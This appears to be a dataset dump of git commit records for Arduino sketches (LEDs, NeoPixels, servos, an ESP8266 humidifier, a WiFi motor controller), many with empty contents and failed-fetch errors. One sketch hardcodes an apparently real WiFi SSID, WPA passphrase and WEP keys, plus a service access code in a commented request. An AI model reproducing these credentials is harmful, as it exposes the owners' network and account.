for(int j=0; j<10; j++){\n lightAllLeds(BLUE); \n delay(START_SEQUENCE_BLINK_DELAY);\n lightAllLeds(OFF); \n delay(START_SEQUENCE_BLINK_DELAY);\n } \n}\n\nvoid lightAllLeds(uint32_t color) {\n for(int i=0; i<NUMPIXELS; i++){\n pixels.setPixelColor(i, color); \n } \n pixels.show();\n}\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/VoteVisualizer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f149133ef33fafe5e348cae3a68ec97529ccca99","subject":"from now on we accept commands for all motors","message":"from now on we accept commands for all motors\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"85988b5b66400472cbf9ac03fc90e0079415961e","subject":"a better, smoother algorithm implemented","message":"a better, smoother algorithm implemented\n","repos":"JackBDu\/robot-tour-guide","old_file":"arduino\/Robot\/Robot.ino","new_file":"arduino\/Robot\/Robot.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JackBDu\/robot-tour-guide.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f785d9d356c20be7c15bc1608782d72636fcf0e3","subject":"ATWIN Kura Sample","message":"ATWIN Kura Sample\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Examples\/AtwinKURA\/AtwinKURA.ino","new_file":"AfricasTalkingCloud\/Examples\/AtwinKURA\/AtwinKURA.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aa38aeccc663da642c7c99922a729a208abcbe64","subject":"hmm, somehow we cannot set x_target in start config??","message":"hmm, somehow we cannot set x_target in start config??\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2f0f00e49c7b6dcdaa68956d30f6dc8d770b90e4","subject":"Blinking LED","message":"Blinking LED\n","repos":"MunazR\/EngHack-IOT,MunazR\/EngHack-IOT","old_file":"iot\/iot.ino","new_file":"iot\/iot.ino","new_contents":"int led = 13;\n\nvoid setup() { \n \/\/ Initialize LED output\n pinMode(led, OUTPUT); \n}\n\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'iot\/iot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ee6eb7bbd39d0aee1919902dd148d4fb3d8e048","subject":"Update line-following_withQTR.ino","message":"Update line-following_withQTR.ino","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/line-following_withQTR.ino","new_file":"code dump\/line-following_withQTR.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/line-following_withQTR.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f1307f6cde79c65165c933e5710d153dafa4501","subject":"Initial commit from Vincent's source.","message":"Initial commit from Vincent's source.\n","repos":"gfxblit\/mylatestmoneysink,gfxblit\/mylatestmoneysink,gfxblit\/mylatestmoneysink","old_file":"drone\/WebServerESC\/WebServerESC.ino","new_file":"drone\/WebServerESC\/WebServerESC.ino","new_contents":"\/*\n * Allows control of an Electronic Speed Controller (ESC) via a web server.\n * The request happens through a GET http method.\n *\/\n\n#include <Servo.h>\n#include <WiServer.h>\n\n\n\/\/ Definizione Variabili Globali Stato Led\nbyte thestart = 0; \/\/ Stato led rosso\n\n\n\n#define WIRELESS_MODE_INFRA\t1\n#define WIRELESS_MODE_ADHOC\t2\n\n\/\/ Wireless configuration parameters ----------------------------------------\nunsigned char local_ip[] = {192,168,1,60};\t\/\/ IP address of WiShield\nunsigned char gateway_ip[] = {192,168,1,254};\t\/\/ router or gateway IP address\nunsigned char subnet_mask[] = {255,255,255,0};\t\/\/ subnet mask for the local network\nconst prog_char ssid[] PROGMEM = {\"2WIRE689\"};\t\t\/\/ max 32 bytes\n\nunsigned char security_type = 2;\t\/\/ 0 - open; 1 - WEP; 2 - WPA; 3 - WPA2\n\n\/\/ WPA\/WPA2 passphrase\nconst prog_char security_passphrase[] PROGMEM = {\"1872822821\"};\t\/\/ max 64 characters\n\n\/\/ WEP 128-bit keys\n\/\/ sample HEX keys\nprog_uchar wep_keys[] PROGMEM = { 0x83, 0x7A, 0xAF, 0x74, 0xEC,\t\/\/ Key 0\n\t\t\t\t 0x5F, 0xE5, 0x65, 0x9F, 0xF2,\t\/\/ Key 1\n\t\t\t\t 0x69, 0x61, 0x53, 0x1C, 0x51, \/\/ Key 2\n\t\t\t\t 0xB5, 0x6F, 0xBE, 0xCB, 0x6B,\t\/\/ Key 3\n\t\t\t\t};\n\n\/\/ setup the wireless mode\n\/\/ infrastructure - connect to AP\n\/\/ adhoc - connect to another WiFi device\nunsigned char wireless_mode = WIRELESS_MODE_INFRA;\n\nunsigned char ssid_len;\nunsigned char security_passphrase_len;\n\/\/ End of wireless configuration parameters ----------------------------------------\n\n\n\/\/ This is our page serving function that generates web pages\nboolean sendMyPage(char* URL) {\n \n \/\/ Check if the requested URL matches \"\/\"\n if (strcmp(URL, \"\/\") == 0) {\n Invia_Pagina_Web();\n \/\/ URL was recognized\n return true;\n }\n \n \n \/\/ Se URL richieso corrisponde a \"?OPERATION=ACCENDI_ROSSO\n\t if (strcmp (URL, \"\/?OPERATION=OFF\") == 0) {\n thestart = 1;\n Invia_Pagina_Web();\n\t move_to_start(); \n\t \n\n\t return (true);\n\t } \n\t \n\t \/\/ Se URL richieso corrisponde a \"?OPERATION=SPEGNI_ROSSO\"\n\t if (strcmp (URL, \"\/?OPERATION=ON\") == 0) {\n\t thestart = 0;\n Invia_Pagina_Web();\n\t move_to_end();\n\t return (true);\n\t } \n \n \n\t if (strcmp (URL, \"\/?OPERATION=90\") == 0) {\n\t thestart = 0;\n\t Invia_Pagina_Web(); \n move_to_ninty();\n\t return (true);\n\t } \n \n \n \n \n \/\/ URL not found\n return false;\n}\n\n\n\nint PIN_BLUEII = 8;\nint PIN_RED = 7;\n\nint greenVal = 1; \/\/ Initial values are Red full, Green and Blue off\nint i = 0; \/\/ Loop counter \n \nint ledPin = 13; \/\/ pin for the LED\nint buttonPin = 6; \/\/ input pin of pushbutton\nint val = 0; \/\/ variable for reading the pin status\n\n\n\n\n\n\/\/ IP Address for www.weather.gov \nuint8 ip[] = {184,168,17,1};\n\n\/\/ A request that gets the latest METAR weather data for LAX\n\/\/GETrequest getWeather(ip, 80, \"www.onebuttonalert.com\", \"\/makevoicecall\/?accesscode=iHHusuLm2uNe&customersid=14\");\n\n\/\/GETrequest getWeathersms(ip, 80, \"www.onebuttonalert.com\", \"\/makesmsnow\/?accesscode=iHHusuLm2uNe&customersid=14\");\n \n\n\n\n \n\/\/ This is our motor.\nServo myMotor;\n\n\/\/ This is the final output\n\/\/ written to the motor.\nString incomingString;\n\nvoid arm(){\n \/\/ arm the speed controller, modify as necessary for your ESC \n setSpeed(0); \n delay(3000); \/\/delay 1 second, some speed controllers may need longer\n}\n\nvoid setSpeed(int speed){\n \/\/ speed is from 0 to 100 where 0 is off and 100 is maximum speed\n \/\/the following maps speed values of 0-100 to angles from 0-180,\n \/\/ some speed controllers may need different values, see the ESC instructions\n int angle = map(speed, 0, 100, 0, 180);\n myMotor.write(angle); \n}\n\n\n\n\nvoid setup() {\n \n \/\/ Put the motor to Arduino pin #9\n myMotor.attach(8);\n arm(); \n myMotor.write(70);\n \n \/\/ Required for I\/O from Serial monitor\n Serial.begin(57600);\n Serial.println(\"Starting WiFi\");\n \/\/ Print a startup message\n \/\/ Serial.println(\"initializing\");\n \n \/\/ pinMode(PIN_BLUEII, OUTPUT);\n\/\/ pinMode(PIN_RED , OUTPUT);\n \/\/ pinMode(ledPin, OUTPUT); \/\/ declare LED as output\n \/\/ pinMode(buttonPin, INPUT); \/\/ declare pushbutton as input\n\n\n \/\/ Initialize WiServer and have it use the sendMyPage function to serve pages\n WiServer.init(sendMyPage);\n \n \/\/ Enable Serial output and ask WiServer to generate log messages (optional)\n \/\/ Serial.begin(9600); \/\/ ...set up the serial ouput on 0004 style\n \/\/Serial.begin(57600);\n WiServer.enableVerboseMode(false);\n}\n\n\n\n\n\nvoid loop(){\n \n \/\/val = digitalRead(buttonPin); \/\/ read input value\n \n\/\/if (val == HIGH) { \/\/ check if the input is HIGH (button released)\n\/\/digitalWrite(PIN_BLUEII, LOW); \/\/ turn LED OFF\n \n\/\/} else {\n\/\/digitalWrite(PIN_BLUEII, HIGH ); \/\/ turn LED ON\n\n \/\/ a request to server page to make a sms\n \/\/ getWeathersms.submit();\n \n \/\/ getWeather.submit(); \n \/\/ delay(50);\n \n \/\/ A request to server page make a call\n \/\/ getWeather.submit(); \n \n\n\/\/}\n\n \/\/ Run WiServer\n WiServer.server_task();\n delay(10);\n\n\n\n\n}\n\n\n\n\n\tvoid Invia_Pagina_Web() {\n\t \/\/ Usando le funzioni WiServer.print trasmette al pagina Web da visualizzare\n\t WiServer.print (\"<html>\");\n\t WiServer.print (\"<head>\");\nWiServer.print (\"<meta http-equiv=\"\"content-type\"\" content=\"\"text\/html; charset=utf-8\"\" \/>\");\n\/\/WiServer.print (\"<meta http-equiv=\"\"refresh\"\" content=\"\"25;url=http:\/\/192.168.1.60\"\" \/>\");\nWiServer.print (\"<title>OneButtonAlert Device<\/title>\");\n\/\/WiServer.print (\"<link rel=\"\"stylesheet\"\" type=\"\"text\/css\"\" media=\"\"One Button Alert\"\" href=\"\"http:\/\/onebuttonalert.com\/buttonpressed\/demo.css\"\" \/>\");\n\n\t \n\n\t WiServer.print (\"<\/head>\");\n\t WiServer.print (\"<body><p align=\"\"center\"\">\");\n\n\n\n\t \/\/ WiServer.print (\"<div align=\"\"center\"\"><img src=\"\"http:\/\/www.onebuttonalert.com\/logo.png\"\" border=\"\"0\"\"><\/div>\");\n\t WiServer.print (\"<br>\");\n\t WiServer.print (\"<br>\");\n\t WiServer.print (\"<b><font size=20><center>Device Local IP Address Status<\/center><\/b><br>\");\n\t WiServer.print (\"<center>\");\n\n WiServer.print (local_ip[0], DEC);\n\t WiServer.print (\".\");\n\t WiServer.print (local_ip[1], DEC);\n\t WiServer.print (\".\");\n\t WiServer.print (local_ip[2], DEC);\n\t WiServer.print (\".\");\n\t WiServer.print (local_ip[3], DEC);\n\n WiServer.print (\"<\/center><\/font><br>\");\n \n\t if (thestart == 0) {\n\t WiServer.print (\"<div align=\"\"center\"\"><form><font size=20 color=red>Engine Motor - ON<\/font><br>\");\n\t WiServer.print (\"<method=GET>\");\n WiServer.print (\"<select name=\"\"OPERATION\"\" id=\"\"OPERATION\"\" style=\"\"font-size:50px\"\"><option value=\"\"OFF\"\">Turn ON<\/option><option value=\"\"ON\"\">Turn OFF<\/option><option value=\"\"90\"\">90<\/option><\/select>\");\n\t WiServer.print (\"<h1><input type=submit value=SUBMIT style=\"\"font-size:50px\"\"><\/h1><\/form><\/div><br>\");\n\t } \n\t else {\n\t WiServer.print (\"<div align=\"\"center\"\"><form><font size=20 color=green> Engine Motor - OFF<\/font><br>\");\n\t WiServer.print (\"<method=GET>\");\n WiServer.print (\"<select name=\"\"OPERATION\"\" id=\"\"OPERATION\"\" style=\"\"font-size:50px\"\"><option value=\"\"OFF\"\">Turn ON<\/option><option value=\"\"ON\"\">Turn OFF<\/option><option value=\"\"90\"\">90<\/option><\/select>\");\n \/\/ WiServer.print (\"<select name=\"\"OPERATION\"\" id=\"\"OPERATION\"\" style=\"\"font-size:50px\"\"><option value=\"\"OFF\"\">Turn OFF<\/option><option value=\"\"90\"\">POWER UP<\/option><\/select>\");\n\t WiServer.print (\"<input type=submit value=SUBMIT ><\/form><\/div><br>\");\n\t } \n\t \n\n\t WiServer.print (\"<\/div><\/body><\/html>\");\n\t}\n\t \n\n\n\tvoid move_to_start() {\n \n myMotor.write(80);\n \n\n\n\/\/delay(500); \/\/ delay 1000ms, this allows the previous instruction to be finished. \n\n\t}\n\t \n\t\/\/ Spegne il led rosso\n\tvoid move_to_end() {\n\n myMotor.write(70);\n \n \n\t}\n\n\n\n\tvoid move_to_ninty() {\n\n myMotor.write(90);\n \n\n\t}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'drone\/WebServerESC\/WebServerESC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"145a5d25fadc6f7438aa091800e04f01b8117eea","subject":"\"Hello World\" test","message":"\"Hello World\" test\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"sketches\/tests\/hello\/hello.ino","new_file":"sketches\/tests\/hello\/hello.ino","new_contents":"\/**\n * The usual \"Hello World\" to show the JeeNode\n * can at least talk out the serial interface.\n *\n * 2015-08-14 <bill@jamimi.com> http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\nvoid setup () {\n Serial.begin(57600);\n}\n\nvoid loop () {\n Serial.println(\"Hello, world\");\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/tests\/hello\/hello.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ebdc7fdfdafe017e900ef6e6bd28d00c4c9f8d2","subject":"Added example to test servo in combination with FSR.","message":"Added example to test servo in combination with FSR.\n","repos":"rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox","old_file":"examples\/fsr_servo_example\/fsr_servo_example.ino","new_file":"examples\/fsr_servo_example\/fsr_servo_example.ino","new_contents":"\/* FSR testing sketch. \n \nConnect one end of FSR to 5V, the other end to Analog 0.\nThen connect one end of a 20K resistor from Analog 0 to ground\nConnect Servo data pin to pin 3 on the Arduino. *\/\n\n\n#include <Servo.h>\n\n#define fsrAnalogPin A0 \/\/ FSR is connected to analog 0\n#define servoPin 3 \/\/ Servo connected to pin 3\n\nServo myservo; \/\/ create servo object to control a servo\n\/\/ twelve servo objects can be created on most boards\n\nint fsrReading; \/\/ the analog reading from the FSR resistor divider\nbool isClosed = false;\n \nvoid setup(void) {\n Serial.begin(9600); \/\/ We'll send debugging information via the Serial monitor\n myservo.attach(servoPin);\n}\n \nvoid loop(void) {\n fsrReading = analogRead(fsrAnalogPin);\n Serial.print(\"Analog reading = \");\n Serial.println(fsrReading);\n\n if(fsrReading > 200){\n if(!isClosed){\n delay(10000);\n myservo.write(170);\n isClosed = true;\n }\n } else {\n myservo.write(0);\n isClosed = false;\n }\n \n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/fsr_servo_example\/fsr_servo_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"81315b1436a43ff69f943484024de092cd185335","subject":"add neo pixel test","message":"add neo pixel test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/NeoPixel.ino","new_file":"testing\/arduino\/NeoPixel.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = Arduino pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\n\/\/ NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n #if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n #endif\n \/\/ End of trinket special code\n\n\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n colorWipe(strip.Color(0, 255, 0), 50); \/\/ Green\n colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n\/\/colorWipe(strip.Color(0, 0, 0, 255), 50); \/\/ White RGBW\n \/\/ Send a theater pixel chase in...\n theaterChase(strip.Color(127, 127, 127), 50); \/\/ White\n theaterChase(strip.Color(127, 0, 0), 50); \/\/ Red\n theaterChase(strip.Color(0, 0, 127), 50); \/\/ Blue\n\n rainbow(20);\n rainbowCycle(20);\n theaterChaseRainbow(50);\n}\n\n\/\/ Fill the dots one after the other with a color\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/Theatre-style crawling lights.\nvoid theaterChase(uint32_t c, uint8_t wait) {\n for (int j=0; j<10; j++) { \/\/do 10 cycles of chasing\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, c); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/Theatre-style crawling lights with rainbow effect\nvoid theaterChaseRainbow(uint8_t wait) {\n for (int j=0; j < 256; j++) { \/\/ cycle all 256 colors in the wheel\n for (int q=0; q < 3; q++) {\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, Wheel( (i+j) % 255)); \/\/turn every third pixel on\n }\n strip.show();\n\n delay(wait);\n\n for (uint16_t i=0; i < strip.numPixels(); i=i+3) {\n strip.setPixelColor(i+q, 0); \/\/turn every third pixel off\n }\n }\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n WheelPos = 255 - WheelPos;\n if(WheelPos < 85) {\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n }\n if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n WheelPos -= 170;\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/NeoPixel.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6cb6d116406043def3946a38b75316cba1542a82","subject":"Arduino sketch for IoT & APRS","message":"Arduino sketch for IoT & APRS\n\nThis sketch reports your weather data to bit ThingSpeak and APRS-IS.","repos":"W4KRL\/D1M-WX1-Weather-Station","old_file":"D1M-WX1_IoT-APRS.ino","new_file":"D1M-WX1_IoT-APRS.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/W4KRL\/D1M-WX1-Weather-Station.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e6d8100f99bfe899d1fd728e951f3659e7da61b3","subject":"jerk is only read for controlled motors","message":"jerk is only read for controlled motors\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"96f2ef07d3a64dc47a6adbb57f280887cde8bd77","subject":"* \uccab \ucee4\ubc0b","message":"* \uccab \ucee4\ubc0b\n","repos":"ice3x2\/Wifi_Humidifier,ice3x2\/Wifi_Humidifier,ice3x2\/Wifi_Humidifier","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"#include <SoftwareSerial.h>\n#include <EEPROM.h>\n\n#define WIFI_RX 2 \n#define WIFI_TX 3\n\n#define FAN_CTR 9\n#define PW_CTR 6\n\n#define LED_PIN 13\n#define RESET_PIN 0\n#define DHT22_PIN 7\n#define WATERGAUGE_PIN 2\n\n#define BUFF_SIZE 512\n#define DEBUG \n\n#define RES_OK \"\\r\\nOK\"\n#define RES_OK_LEN 4\n#define RES_ERROR \"\\r\\nERROR\"\n#define RES_ERROR_LEN 7\n#define RES_NC \"no change\\r\\n\"\n#define RES_NC_LEN 11\n#define RES_UNKNOWN \"\\r\\n\"\n#define RES_UNKNOWN_LEN 2\n\n#define VER 102\n#define MODE_BOOT 0\n#define MODE_SETUP 1\n#define MODE_RUN 2\n#define MODE_ERROR 3\n\n#define DELAY_PUSH_SETUP 5000\n#define DELAY_LED_SETUP 500\n\ntypedef struct Config {\n uint8_t version = VER;\n uint8_t mode = MODE_BOOT;\n char ssid[32] = \"unknown\";\n char pass[32] = \"unknown\";\n char serverAddr[64] = \"unknown\";\n int port = 80;\n uint8_t tailVersion = VER; \n} CONFIG;\n\n\n\nuint8_t sendATCmd(const char* cmd,int timeout = 0,uint8_t* buffer = NULL, int bufSize = 16);\nuint8_t checkResString(char ch, uint8_t idx);\nvoid intoSetupMode();\nvoid setMode();\nvoid showStatusLed();\nvoid saveData(const void* data, int start, int length);\nvoid loadData(void* data, int offset, int length);\nbool checkConfig(CONFIG* config);\nvoid printConfig(CONFIG* config);\n\n\nCONFIG _config;\nSoftwareSerial wifi(WIFI_RX, WIFI_TX);\nlong _lastClickMillis = 0;\nlong _lastOnLedMillis = 0;\nint _bufferIdx = 0;\nuint8_t _buffer[BUFF_SIZE];\n\n\n\n\nvoid setup() {\n pinMode(LED_PIN,OUTPUT);\n \/\/pinMode(RESET_PIN,INPUT);\n wifi.begin(9600);\n #ifdef DEBUG\n Serial.begin(9600);\n Serial.println(\"debug :: Ready..\");\n #endif\n loadData(&_config, 0, sizeof(_config));\n if(!checkConfig(&_config)) {\n _config = Config();\n #ifdef DEBUG\n Serial.println(\"debug :: FAIL LOAD CONFIG\");\n printConfig(&_config);\n #endif\n }\n #ifdef DEBUG \n else {\n printConfig(&_config);\n }\n #endif\n \n \n\n \n}\n\nvoid loop() {\n if(analogRead(RESET_PIN) > 400) { \n if(_lastClickMillis == 0) {\n #ifdef DEBUG\n Serial.println(\"debug : down reset\");\n #endif\n _lastClickMillis = millis();\n } else if(millis() - _lastClickMillis > DELAY_PUSH_SETUP) {\n intoSetupMode();\n }\n } else if(_config.mode != MODE_SETUP) {\n \/\/reset();\n } else {\n _lastClickMillis = 0;\n #ifdef DEBUG\n \/\/Serial.println(\"debug : up reset\");\n #endif\n }\n showStatusLed();\n \n if(_config.mode == MODE_SETUP && wifi.available()) {\n byte data = wifi.read();\n _buffer[_bufferIdx % BUFF_SIZE] = data;\n _bufferIdx++;\n #ifdef DEBUG\n Serial.write((char)data);\n #endif\n \/*if(.find(\"+IPD,\")) {\n int connectionId = esp8266.read()-48; \/\/ subtract 48 because the read() function returns \n \/\/ the ASCII decimal value and 0 (the first decimal number) starts at 48\n String webpage = \"<h1>Hello<\/h1><h2>World!<\/h2><button>LED1<\/button>\"; \n String cipSend = \"AT+CIPSEND=\";\n cipSend += connectionId;\n cipSend += \",\";\n cipSend +=webpage.length();\n cipSend +=\"\\r\\n\";\n sendData(cipSend,1000,DEBUG);\n sendData(webpage,1000,DEBUG);\n webpage=\"<button>LED2<\/button>\";\n cipSend = \"AT+CIPSEND=\";\n cipSend += connectionId;\n cipSend += \",\";\n cipSend +=webpage.length();\n cipSend +=\"\\r\\n\";\n \n sendData(cipSend,1000,DEBUG);\n sendData(webpage,1000,DEBUG);\n \n String closeCommand = \"AT+CIPCLOSE=\"; \n closeCommand+=connectionId; \/\/ append connection id\n closeCommand+=\"\\r\\n\";\n sendData(closeCommand,3000,DEBUG); \n }*\/\n }\n\n \n}\n\n\nvoid showStatusLed() {\n int delayMillis = 0;\n if(_config.mode == MODE_SETUP) {\n delayMillis = DELAY_LED_SETUP;\n }\n if(millis() - _lastOnLedMillis < delayMillis) { \n digitalWrite(LED_PIN, HIGH);\n } else if(millis() - _lastOnLedMillis < (delayMillis + delayMillis)) {\n digitalWrite(LED_PIN, LOW);\n } else if(millis() - _lastOnLedMillis > (delayMillis + delayMillis)) {\n _lastOnLedMillis = millis();\n digitalWrite(LED_PIN, HIGH);\n }\n}\nvoid setMode() {\n if(_config.mode == MODE_SETUP) {\n intoSetupMode();\n }\n}\n\nvoid intoSetupMode() {\n if(_config.mode == MODE_SETUP) return;\n _config.mode = MODE_SETUP;\n saveData(&_config,0,sizeof(_config));\n sendATCmd(\"AT+RST\\r\\n\", 2000);\n sendATCmd(\"AT+CWMODE=2\\r\\n\");\n sendATCmd(\"AT+CIPMUX=1\\r\\n\");\n sendATCmd(\"AT+CIPSERVER=1,80\\r\\n\");\n}\n\nuint8_t sendATCmd(const char* cmd,int timeout,uint8_t* buffer, int bufSize) {\n boolean isBufferAllocationed = false;\n int bufIdx = 0;\n uint8_t resIdx = 0;\n uint8_t data = 0;\n uint8_t result = 0;\n long lastMs = millis();\n wifi.print(cmd);\n if(buffer == NULL) {\n buffer = new uint8_t[bufSize];\n isBufferAllocationed = true;\n }\n while(!wifi.available() && (millis() - lastMs < timeout || timeout == 0));\n while(millis() - lastMs < timeout || timeout == 0) {\n while(wifi.available()) {\n data = wifi.read();\n #ifdef DEBUG\n Serial.write((char)data);\n #endif\n buffer[bufIdx % bufSize] = data;\n bufIdx++;\n if(timeout == 0) {\n result = checkResString(data, resIdx++);\n if(result == 0) {\n resIdx = 0;\n } else if((result & 0x80) == 0x80) { \n result = result & 0x7f;\n #ifdef DEBUG\n Serial.println();\n if(result == RES_OK_LEN) \n Serial.println(\"debug :: OK res checked.\");\n else if(result == RES_ERROR_LEN) \n Serial.println(\"debug :: ERROR res check. \");\n else if(result == RES_NC_LEN) \n Serial.println(\"debug :: no change res checked.\");\n #endif \n timeout = 1;\n break;\n }\n 